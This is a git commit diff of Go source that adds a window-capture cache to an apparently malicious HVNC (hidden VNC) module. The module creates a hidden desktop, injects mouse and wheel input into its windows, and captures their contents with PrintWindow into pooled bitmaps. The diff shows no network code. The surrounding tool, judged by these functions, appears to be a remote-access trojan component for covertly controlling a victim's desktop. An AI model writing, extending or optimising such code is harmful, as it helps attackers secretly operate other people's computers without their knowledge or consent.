hvnc image cache system (huge imporvement)

This commit is contained in:
KingKDot
2026-03-13 14:26:00 -05:00
parent 1b1bf087a4
commit d612797363
+101 -28
View File
@@ -81,6 +81,8 @@ const (
MOUSEEVENTF_RIGHTUP = 0x0010 MOUSEEVENTF_RIGHTUP = 0x0010
MOUSEEVENTF_MIDDLEDOWN = 0x0020 MOUSEEVENTF_MIDDLEDOWN = 0x0020
MOUSEEVENTF_MIDDLEUP = 0x0040 MOUSEEVENTF_MIDDLEUP = 0x0040
MOUSEEVENTF_WHEEL = 0x0800
MOUSEEVENTF_ABSOLUTE = 0x8000
INPUT_MOUSE = 0 INPUT_MOUSE = 0
INPUT_KEYBOARD = 1 INPUT_KEYBOARD = 1
KEYEVENTF_KEYUP = 0x0002 KEYEVENTF_KEYUP = 0x0002
@@ -167,6 +169,10 @@ var (
hvncCurrentTaskID atomic.Uint64 hvncCurrentTaskID atomic.Uint64
hvncCurrentTaskKind atomic.Int64 hvncCurrentTaskKind atomic.Int64
hvncCurrentTaskNs atomic.Int64 hvncCurrentTaskNs atomic.Int64
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
hvncWinCache map[uintptr]*hvncWinCacheEntry
hvncWinCachePrev []byte // previous composite frame for dirty detection
) )
type hvncTaskKind int type hvncTaskKind int
@@ -242,6 +248,15 @@ type mouseInput struct {
dwExtraInfo uintptr dwExtraInfo uintptr
} }
type hvncWinCacheEntry struct {
hdcMem uintptr
hbmp uintptr
bits unsafe.Pointer
w, h int
lastOK bool
age int
}
type keybdInput struct { type keybdInput struct {
wVk uint16 wVk uint16
wScan uint16 wScan uint16
@@ -332,6 +347,12 @@ func CleanupHVNCDesktop() {
hvncDesktopMu.Lock() hvncDesktopMu.Lock()
defer hvncDesktopMu.Unlock() defer hvncDesktopMu.Unlock()
for _, entry := range hvncWinCache {
hvncFreeCacheEntry(entry)
}
hvncWinCache = nil
hvncWinCachePrev = nil
if hvncDesktopHandle != 0 { if hvncDesktopHandle != 0 {
if hvncOriginalDesktop != 0 { if hvncOriginalDesktop != 0 {
procSetThreadDesktop.Call(hvncOriginalDesktop) procSetThreadDesktop.Call(hvncOriginalDesktop)
@@ -1165,8 +1186,6 @@ func hvncMouseWheelOnThread(delta int32) error {
return nil return nil
} }
} }
// WM_MOUSEWHEEL: wparam high word = delta, low word = button/key state
// WM_MOUSEWHEEL: lparam = screen coordinates (NOT client coordinates) (I wanna fucking kms)
wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons()) wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons())
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y)) procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
return nil return nil
@@ -1279,16 +1298,85 @@ func drawHVNCWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target [
return 0 return 0
} }
// Initialize cache if needed
if hvncWinCache == nil {
hvncWinCache = make(map[uintptr]*hvncWinCacheEntry)
}
// Track which windows are still alive this frame
alive := make(map[uintptr]bool)
drawn := 0 drawn := 0
for hwnd != 0 { for hwnd != 0 {
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) { if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
drawn++ drawn++
} }
alive[hwnd] = true
hwnd = getWindow(hwnd, GW_HWNDPREV) hwnd = getWindow(hwnd, GW_HWNDPREV)
} }
// Evict cache entries for windows that no longer exist
for h, entry := range hvncWinCache {
if !alive[h] {
hvncFreeCacheEntry(entry)
delete(hvncWinCache, h)
}
}
return drawn return drawn
} }
func hvncGetOrCreateCache(hdcScreen uintptr, hwnd uintptr, w, h int) *hvncWinCacheEntry {
entry, ok := hvncWinCache[hwnd]
if ok && entry.w == w && entry.h == h && entry.hdcMem != 0 && entry.hbmp != 0 {
entry.age = 0
return entry
}
if ok {
hvncFreeCacheEntry(entry)
}
hdcMem := createCompatibleDC(hdcScreen)
if hdcMem == 0 {
return nil
}
bmi := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(w),
biHeight: -int32(h),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
var bits unsafe.Pointer
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
if hbmp == 0 || bits == nil {
deleteDC(hdcMem)
return nil
}
selectObject(hdcMem, hbmp)
entry = &hvncWinCacheEntry{
hdcMem: hdcMem,
hbmp: hbmp,
bits: bits,
w: w,
h: h,
}
hvncWinCache[hwnd] = entry
return entry
}
func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
if entry.hbmp != 0 {
deleteObject(entry.hbmp)
}
if entry.hdcMem != 0 {
deleteDC(entry.hdcMem)
}
}
func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool { func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
if !isWindowVisible(hwnd) { if !isWindowVisible(hwnd) {
return false return false
@@ -1315,35 +1403,20 @@ func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []by
return false return false
} }
hdcMem := createCompatibleDC(hdcScreen) // Use pooled DC+DIB from cache
if hdcMem == 0 { entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH)
return false if entry == nil {
}
defer deleteDC(hdcMem)
bmi := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(winW),
biHeight: -int32(winH),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
var bits unsafe.Pointer
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
if hbmp == 0 || bits == nil {
return false
}
selectObject(hdcMem, hbmp)
defer deleteObject(hbmp)
if !printWindow(hwnd, hdcMem, PW_RENDERFULLCONTENT) {
return false return false
} }
buf := unsafe.Slice((*byte)(bits), winW*winH*4) if !printWindow(hwnd, entry.hdcMem, PW_RENDERFULLCONTENT) {
entry.lastOK = false
entry.age++
return false
}
entry.lastOK = true
buf := unsafe.Slice((*byte)(entry.bits), winW*winH*4)
winStride := winW * 4 winStride := winW * 4
interLeft := maxInt(winLeft, bounds.Min.X) interLeft := maxInt(winLeft, bounds.Min.X)